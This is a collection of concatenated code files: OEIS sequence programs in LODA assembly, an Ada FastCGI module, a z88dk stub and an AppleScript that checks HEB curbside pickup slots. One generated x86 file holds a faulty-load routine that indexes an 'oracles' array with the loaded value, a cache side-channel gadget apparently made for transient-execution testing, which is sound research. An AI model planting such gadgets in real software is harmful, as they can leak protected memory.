00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
programs/oeis/297/A297044.asm
karttu/loda
0
25744
<filename>programs/oeis/297/A297044.asm ; A297044: Number of pieces in the list d(m), d(m-1), ..., d(0) of base-16 digits of n; see Comments ; 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 div $0,15 pow $2,$0 cmp $1,$2
programs/oeis/106/A106609.asm
karttu/loda
1
94922
<reponame>karttu/loda<gh_stars>1-10 ; A106609: Numerator of n/(n+8). ; 0,1,1,3,1,5,3,7,1,9,5,11,3,13,7,15,2,17,9,19,5,21,11,23,3,25,13,27,7,29,15,31,4,33,17,35,9,37,19,39,5,41,21,43,11,45,23,47,6,49,25,51,13,53,27,55,7,57,29,59,15,61,31,63,8,65,33,67,17,69,35,71,9,73,37,75,19,77,39,79,10,81,41,83,21,85,43,87,11,89,45,91,23,93,47,95,12,97,49,99,25,101,51,103,13,105,53,107,27,109,55,111,14,113,57,115,29,117,59,119,15,121,61,123,31,125,63,127,16,129,65,131,33,133,67,135,17,137,69,139,35,141,71,143,18,145,73,147,37,149,75,151,19,153,77,155,39,157,79,159,20,161,81,163,41,165,83,167,21,169,85,171,43,173,87,175,22,177,89,179,45,181,91,183,23,185,93,187,47,189,95,191,24,193,97,195,49,197,99,199,25,201,101,203,51,205,103,207,26,209,105,211,53,213,107,215,27,217,109,219,55,221,111,223,28,225,113,227,57,229,115,231,29,233,117,235,59,237,119,239,30,241,121,243,61,245,123,247,31,249 mov $1,$0 gcd $0,8 div $1,$0
programs/oeis/063/A063289.asm
karttu/loda
1
22053
; A063289: Dimension of the space of weight n cuspidal newforms for Gamma_1( 16 ). ; -1,2,7,11,16,20,25,29,34,38,43,47,52,56,61,65,70,74,79,83,88,92,97,101,106,110,115,119,124,128,133,137,142,146,151,155,160,164,169,173,178,182,187,191,196,200,205,209,214,218,223,227,232,236 mul $0,18 sub $0,7 div $0,4 mov $1,$0
hebcurbside.applescript
jacksongod/hebcurbfinder
0
2998
<reponame>jacksongod/hebcurbfinder<filename>hebcurbside.applescript property searchKeyList : {"kyle", "escarpment","buda","manchaca","<NAME>"} property slot_site_url : "https://www.heb.com" property phone_num : "123456789" property freeOnlySlots : false global current_store global window_avail global daydate global dayofweek global found_slot on checkDisabledbyClass(theClassName, elementnum, tab_num, window_id) tell application "Safari" return do JavaScript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].disabled;" in tab tab_num of window id window_id end tell end checkDisabledbyClass -- on checkDisplaybyClass(theClassName, elementnum, tab_num, window_id) -- tell application "Safari" -- return do JavaScript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].style.display;" in tab tab_num of window id window_id -- end tell -- end checkDisplaybyClass on checkIDExist(theID, tab_num,window_id) tell application "Safari" set exist to do JavaScript "var x = document.getElementById('" & theID & "');(x!=null);" in tab tab_num of window id window_id end tell return exist end checkIDExist on checkDisplaybyClass(theClassName, elementnum, tab_num, window_id) tell application "Safari" return do JavaScript "var x = document.getElementsByClassName('" & theClassName & "')[" & elementnum & "]; window.getComputedStyle(x).display" in tab tab_num of window id window_id end tell end checkDisplaybyClass on checkDisplaybyId(theID, tab_num, window_id) tell application "Safari" return do JavaScript "var x = document.getElementById('" & theID & "'); window.getComputedStyle(x).display" in tab tab_num of window id window_id end tell end checkDisplaybyId on clickDivClassName(divId, buttonClassName, elementnum, tab_num, window_id) tell application "Safari" do JavaScript "var x = document.getElementById('" & divId & "'); x.getElementsByClassName('" & buttonClassName & "')[" & elementnum & "].click();" in tab tab_num of window id window_id delay 0.5 end tell end clickDivClassName on checkClassLen(theClassName, tab_num, window_id) tell application "Safari" return do JavaScript "document.getElementsByClassName('" & theClassName & "').length;" in tab tab_num of window id window_id end tell end checkClassLen on clickClassName(theClassName, elementnum, tab_num, window_id) tell application "Safari" do JavaScript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].click();" in tab tab_num of window id window_id delay 0.5 end tell end clickClassName on clickID(theID, tab_num, window_id) tell application "Safari" do JavaScript "document.getElementById('" & theID & "').click();" in tab tab_num of window id window_id delay 0.5 end tell end clickID on setValueByID(theID, value, tab_num, window_id) tell application "Safari" do JavaScript "document.getElementById('" & theID & "').value='" & value & "';" in tab tab_num of window id window_id delay 0.5 end tell end setValueByID on sendMessages(phoneNumber, msgBody) -- Credit for texting code: <NAME>, https://github.com/spinkney tell application "Messages" set targetService to 1st service whose service type = iMessage set targetBuddy to buddy phoneNumber of targetService send msgBody to targetBuddy end tell log "text message sent about slot found" end sendMessages on toCurbsidePage(heb_win_id) tell application "Safari" if exists (window id heb_win_id) then log "reload page" set URL of tab -1 of window id heb_win_id to slot_site_url else make new document with properties {URL:slot_site_url} delay 0.5 -- wait for new window to open set heb_win_id to id of front window end if --set miniaturized of window id heb_win_id to true ... somehow this affects the page to give false information delay 5 end tell clickClassName("details curbside-icon", 0, -1, heb_win_id) clickID("__BVID__12___BV_tab_button__", -1, heb_win_id) return heb_win_id end toCurbside on getPhoneNumber() set theResponse to display dialog "Enter Phone number: " default answer phone_num with icon note buttons {"Cancel", "Continue"} default button "Continue" with title "Recipient Phone Number" if button returned of theResponse = "Continue" then set temp to text returned of theResponse -- checks if proper format entered if the length of temp = 10 then set phoneNumber to temp log "valid phone number entered" else display dialog invalidNumberMsg with title "Invalid Number" with icon caution log "invalid phone number entered" -- user will be reprompted for number end if end if set phone_num to phoneNumber end getPhoneNumber on getKeywordsList() set dialogString to "Add closest keywords of your intended store names such that the store will appear as the first item in search results. You can try the keywords on heb.com first. The script will only select the first store from each keyword entered. Use comma ',' to seperate each keyword. e.g: Olmos,Kyle,san marcos" set Applescript's text item delimiters to "," set searchKeyString to searchKeyList as string set theResponse to display dialog dialogString default answer searchKeyString with icon note buttons {"Cancel", "Continue"} default button "Continue" with title "Store keywords" if button returned of theResponse = "Continue" then set textreturned to text returned of theResponse try set searchKeyList to every text item of textreturned on error errMsg number errNum log errNum log errMsg end try set Applescript's text item delimiters to "," log (searchKeyList as string) end if end getKeywordsList on getFreeOrAny() set dialogString to "Choose to search only for free slots or any slots (Free or with fee. HEB releases some slots for a $4.95 fee with closer date)" display dialog dialogString buttons {"Cancel", "Free Only Slots", "Any Slots"} default button "Any Slots" with title "Free or Any" with icon note if result = {button returned:"Free Only Slots"} then set freeOnlySlots to true else if result = {button returned:"Any Slots"} then set freeOnlySlots to false end if end getFreeOrAny on checkReviewChanges(tab_num, window_id) set deletedItems to {} if checkDisplaybyId("cart-change-warning-modal", tab_num,window_id) is not "none" then tell application "Safari" set cartUnavailCount to do JavaScript "document.getElementsByClassName(\"cart-table__row--is-removing\").length;" in tab tab_num of window id window_id repeat with itemIterator from 0 to cartUnavailCount - 1 set end of deletedItems to (do JavaScript "document.getElementsByClassName(\"cart-table__name\")[" & itemIterator & "].textContent;" in tab tab_num of window id window_id) end repeat my clickDivClassName("cart-change-warning-modal___BV_modal_footer_", "btn-primary", 0, tab_num, window_id) delay 3 end tell end if set Applescript's text item delimiters to "," if count of deletedItems > 0 then log "Following items will be deleted from cart: " & (deletedItems as string) end if return deletedItems end checkReviewChanges on findSelectedIdx(tab_num,window_id) tell application "Safari" return do JavaScript "var day_array = document.getElementsByClassName(\"picker-day__button\"); var returnIdx = 0; for (var i = 0; i< day_array.length; i++){ if (day_array[i].classList.contains(\"picker-day__button--selected\")) { returnIdx = i; break; } } returnIdx; " in tab tab_num of window id window_id end tell end findSelectedIdx on findNextFreeDay(tab_num, window_id) set foundDay to false set currentIdx to findSelectedIdx(tab_num, window_id) repeat repeat with idx from currentIdx+1 to 4 -- 5 days in one screen set slotFull to checkDisplaybyClass("picker-day__no-slots-available", idx, tab_num, window_id) set free to checkDisplaybyClass("picker-day__fee", idx, tab_num, window_id) if (slotFull = "none") and (free is not "none") then clickClassName("picker-day__button", idx, tab_num, window_id) delay 1 return idx end if end repeat if checkDisabledbyClass("picker-day__scroll--next", 0, tab_num,window_id) then exit repeat end if clickClassName("picker-day__scroll--next", 0, tab_num, window_id) delay 1 set currentIdx to -1 end repeat return -1 end findNextFreeDay script main set found_slot to false set heb_win_id to false getKeywordsList() getPhoneNumber() getFreeOrAny() set freeString to "" repeat until found_slot set heb_win_id to toCurbsidePage(heb_win_id) repeat with keyword in searchKeyList set current_store to "" set window_avail to 0 set daydate to "" set dayofweek to "" clickClassName("change-store-button", 0, -1, heb_win_id) setValueByID("change-store-input", keyword, -1, heb_win_id) clickClassName("search__submit", 0, -1, heb_win_id) delay 3 clickClassName("store__select-button", 0, -1, heb_win_id) delay 3 -- log checkDisabledbyClass("picker-day__scroll--prev", 0,-1,heb_win_id) -- log checkDisabledbyClass("picker-day__scroll--next", 0,-1,heb_win_id) -- log checkClassLen("picker-day__button",-1,heb_win_id ) -- log checkDisplaybyClass("picker-day__no-slots-available", 3,-1,heb_win_id ) -- log checkDisplaybyClass("picker-day__no-slots-available", 0,-1,heb_win_id ) set deletedItems to checkReviewChanges(-1, heb_win_id) tell application "Safari" set current_store to do JavaScript "addr_pickerbox = document.getElementsByClassName(\"address-picker\")[0]; addr_pickerbox.getElementsByClassName(\"store-card__name\")[0].textContent;" in tab -1 of window id heb_win_id set window_avail to do JavaScript "section = document.getElementsByClassName(\"timeslot-modal-form-body\")[0]; section.getElementsByClassName(\"picker-time\").length;" in tab -1 of window id heb_win_id if window_avail >= 1 then if freeOnlySlots then set freeString to "free " set is_current_slot_free to do JavaScript "document.getElementsByClassName(\"picker-time__fee-amount\")[0].textContent.toLowerCase()== 'free';" in tab -1 of window id heb_win_id if not is_current_slot_free then log "current selected day is not free" set dayIdx to my findNextFreeDay(-1, heb_win_id) if dayIdx = -1 then log "no day is free so far" set window_avail to 0 else log "day " & dayIdx & " is free" set window_avail to do JavaScript "section = document.getElementsByClassName(\"timeslot-modal-form-body\")[0]; section.getElementsByClassName(\"picker-time\").length;" in tab -1 of window id heb_win_id end if end if end if -- Get the current selected date info set daydate to do JavaScript "section = document.getElementsByClassName(\"timeslot-modal-form-body\")[0]; section = section.getElementsByClassName(\"day-selected\")[0]; section.getElementsByClassName('picker-day__date')[0].textContent.trim();" in tab -1 of window id heb_win_id set dayofweek to do JavaScript "section = document.getElementsByClassName(\"timeslot-modal-form-body\")[0]; section = section.getElementsByClassName(\"day-selected\")[0]; section.getElementsByClassName('picker-day__of-week')[0].textContent.trim();" in tab -1 of window id heb_win_id end if end tell log current_store -- log window_avail -- log window_avail >= 1 if window_avail >= 1 then log daydate log dayofweek set txtBody to "Found curbside " & freeString & " slot at store " & current_store & " on " & daydate & " " & dayofweek sendMessages(phone_num, txtBody) log "message sent for " & txtBody say "Curbside " & freeString & "slot found at store " & current_store & " on " & daydate & " " & dayofweek set found_slot to true end if delay 2 end repeat -- set found_slot to true if not found_slot then set wait_time to 180 log "wait for " & wait_time & "s" delay wait_time end if end repeat -- tell application "Safari" -- set miniaturized of window id heb_win_id to false -- end tell log "END" end script run main
source/web/fastcgi/fastcgi-requests.adb
svn2github/matreshka
24
27416
<filename>source/web/fastcgi/fastcgi-requests.adb ------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Web Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2010-2011, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ package body FastCGI.Requests is -------------------- -- Has_Raw_Header -- -------------------- function Has_Raw_Header (Self : Request; Name : League.Stream_Element_Vectors.Stream_Element_Vector) return Boolean is begin return Self.Descriptor.Request_Headers.Contains (Name); end Has_Raw_Header; ------------------------ -- Has_Raw_Query_Item -- ------------------------ function Has_Raw_Query_Item (Self : Request; Name : League.Stream_Element_Vectors.Stream_Element_Vector) return Boolean is begin return Self.Descriptor.Query_Items.Contains (Name); end Has_Raw_Query_Item; ---------------- -- Raw_Header -- ---------------- function Raw_Header (Self : Request; Name : League.Stream_Element_Vectors.Stream_Element_Vector) return League.Stream_Element_Vectors.Stream_Element_Vector is begin return Self.Descriptor.Request_Headers.Element (Name); end Raw_Header; -------------------- -- Raw_Query_Item -- -------------------- function Raw_Query_Item (Self : Request; Name : League.Stream_Element_Vectors.Stream_Element_Vector) return League.Stream_Element_Vectors.Stream_Element_Vector is begin return Self.Descriptor.Query_Items.Element (Name); end Raw_Query_Item; ---------- -- Read -- ---------- overriding procedure Read (Self : in out Input_Stream; Item : out Ada.Streams.Stream_Element_Array; Last : out Ada.Streams.Stream_Element_Offset) is use type Ada.Streams.Stream_Element_Offset; begin Item (Item'First .. Item'First + Self.Descriptor.Stdin.Length - 1) := Self.Descriptor.Stdin.To_Stream_Element_Array; Last := Item'First + Self.Descriptor.Stdin.Length - 1; end Read; ------------ -- Stream -- ------------ function Stream (Self : Request) return not null access Ada.Streams.Root_Stream_Type'Class is begin return Self.In_Stream; end Stream; ----------- -- Write -- ----------- overriding procedure Write (Self : in out Input_Stream; Item : Ada.Streams.Stream_Element_Array) is begin raise Program_Error; end Write; end FastCGI.Requests;
libsrc/_DEVELOPMENT/adt/ba_stack/c/sccz80/ba_stack_size.asm
jpoikela/z88dk
640
178716
<filename>libsrc/_DEVELOPMENT/adt/ba_stack/c/sccz80/ba_stack_size.asm ; size_t ba_stack_size(ba_stack_t *s) SECTION code_clib SECTION code_adt_ba_stack PUBLIC ba_stack_size EXTERN asm_ba_stack_size defc ba_stack_size = asm_ba_stack_size ; SDCC bridge for Classic IF __CLASSIC PUBLIC _ba_stack_size defc _ba_stack_size = ba_stack_size ENDIF
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_800.asm
ljhsiun2/medusa
9
95667
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x7c06, %rbx nop lfence mov (%rbx), %rbp nop nop nop nop nop and $37839, %r15 lea addresses_normal_ht+0xbc1e, %rsi lea addresses_WT_ht+0x1d06f, %rdi nop nop nop nop xor %r15, %r15 mov $91, %rcx rep movsq and $1726, %r11 lea addresses_D_ht+0x1ac4a, %rbp nop sub %r11, %r11 and $0xffffffffffffffc0, %rbp movaps (%rbp), %xmm2 vpextrq $0, %xmm2, %rdi nop cmp $5758, %rbx lea addresses_D_ht+0x1858e, %rsi lea addresses_normal_ht+0x17f6a, %rdi nop nop sub $53503, %r9 mov $85, %rcx rep movsb nop nop nop nop xor $7742, %rsi lea addresses_UC_ht+0x165aa, %rcx clflush (%rcx) nop nop nop nop nop and %r11, %r11 movups (%rcx), %xmm2 vpextrq $1, %xmm2, %r15 inc %rbx lea addresses_normal_ht+0x5b8a, %r9 nop add $62644, %rbp movb $0x61, (%r9) nop nop nop nop cmp %rbp, %rbp lea addresses_UC_ht+0x182ea, %r15 nop nop sub %r9, %r9 movups (%r15), %xmm0 vpextrq $0, %xmm0, %rsi nop nop nop nop xor %rbx, %rbx lea addresses_D_ht+0x18a, %r15 nop nop nop nop nop and %rcx, %rcx mov $0x6162636465666768, %rbx movq %rbx, %xmm5 movups %xmm5, (%r15) nop nop and %rdi, %rdi lea addresses_D_ht+0x7a0a, %rsi lea addresses_D_ht+0xcb8a, %rdi nop xor $64580, %rbx mov $91, %rcx rep movsw cmp $36448, %r15 lea addresses_WT_ht+0x1617a, %rsi nop nop nop nop and $3945, %r15 mov $0x6162636465666768, %r9 movq %r9, %xmm6 vmovups %ymm6, (%rsi) add %rbx, %rbx lea addresses_normal_ht+0x818a, %rbp nop nop and $53555, %rdi mov (%rbp), %cx nop nop nop nop cmp $54114, %rdi lea addresses_D_ht+0x130a, %rsi lea addresses_WC_ht+0x166fa, %rdi xor $61945, %rbx mov $3, %rcx rep movsq nop nop and $43446, %rbx lea addresses_UC_ht+0x1cdfa, %rbx nop nop nop add $54719, %rcx and $0xffffffffffffffc0, %rbx vmovaps (%rbx), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rbp nop nop xor $27953, %rbp lea addresses_WC_ht+0x1888a, %rdi nop nop nop nop cmp %r11, %r11 mov (%rdi), %rbp nop nop nop nop and $26859, %r15 lea addresses_WT_ht+0x150e2, %rdi nop nop nop nop sub $61424, %r9 vmovups (%rdi), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rbx nop nop nop nop xor %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %rcx push %rdx push %rsi // Store lea addresses_normal+0x16d8a, %r10 nop nop xor $31817, %r12 mov $0x5152535455565758, %rsi movq %rsi, (%r10) xor $35265, %rdx // Store mov $0x3ca, %r11 nop and %r8, %r8 mov $0x5152535455565758, %r10 movq %r10, %xmm3 vmovups %ymm3, (%r11) nop nop nop nop nop dec %rsi // Load lea addresses_US+0xa80a, %r12 nop nop nop and $3245, %r8 mov (%r12), %dx nop dec %r11 // Store lea addresses_UC+0x18d8a, %rsi add $37029, %r8 movl $0x51525354, (%rsi) nop xor $42795, %rdx // Store lea addresses_WC+0x1de8a, %rcx clflush (%rcx) nop sub $34396, %r10 mov $0x5152535455565758, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%rcx) nop nop nop sub $22752, %rsi // Store lea addresses_normal+0x16d8a, %rcx nop nop nop nop nop dec %r12 movl $0x51525354, (%rcx) nop nop nop nop dec %rsi // Store lea addresses_normal+0x16d8a, %rdx nop nop nop nop dec %r8 movl $0x51525354, (%rdx) nop nop dec %r11 // Faulty Load lea addresses_normal+0x16d8a, %r12 nop nop nop nop nop and $34776, %r8 mov (%r12), %edx lea oracles, %r10 and $0xff, %rdx shlq $12, %rdx mov (%r10,%rdx,1), %rdx pop %rsi pop %rdx pop %rcx pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal', 'congruent': 0}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_P', 'congruent': 5}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_US', 'congruent': 7}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 0}} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 3}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 5}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 9}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 4}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 4}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 9}} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 3}} {'54': 21829} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
tests/rule_arg_simple/21.asm
NullMember/customasm
414
7000
<reponame>NullMember/customasm<gh_stars>100-1000 #ruledef test { ld {x} => x } ld 0x1122 ; = 0x1122
oeis/020/A020926.asm
neoneye/loda-programs
11
9670
